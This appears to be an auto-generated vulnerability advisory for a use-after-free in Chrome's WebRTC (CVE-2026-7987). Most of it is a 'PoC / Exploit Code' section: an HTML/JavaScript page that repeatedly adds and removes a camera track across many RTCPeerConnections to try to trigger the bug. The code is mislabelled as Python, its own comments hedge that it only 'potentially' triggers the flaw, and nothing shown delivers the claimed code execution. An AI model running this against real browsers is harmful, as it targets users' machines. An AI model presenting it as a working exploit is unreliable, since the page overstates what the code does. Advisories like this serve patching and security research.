Use after free in WebRTC in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-7987: WebRTC Use After Free
This script attempts to trigger the UAF by rapidly manipulating WebRTC tracks.
-->
<html>
<head><title>CVE-2026-7987 PoC</title></head>
<body>
<script>
async function triggerUAF() {
try {
// Request user media to create a stream
const stream = await navigator.mediaDevices.getUserMedia({ video: true, audio: true });
const videoTrack = stream.getVideoTracks()[0];
// Create multiple PeerConnections to stress memory
for (let i = 0; i < 50; i++) {
const pc = new RTCPeerConnection();
// Add and remove track to potentially trigger the bug pattern
pc.addTrack(videoTrack, stream);
pc.removeTrack(pc.getSenders()[0]);
// Close connection to free objects
pc.close();
// Try to force Garbage Collection (requires specific Chrome flags)
if (window.gc) window.gc();
}
console.log("PoC execution completed. Check for crash.");
} catch (e) {
console.error("PoC failed:", e);
}
}
triggerUAF();
</script>
</body>
</html>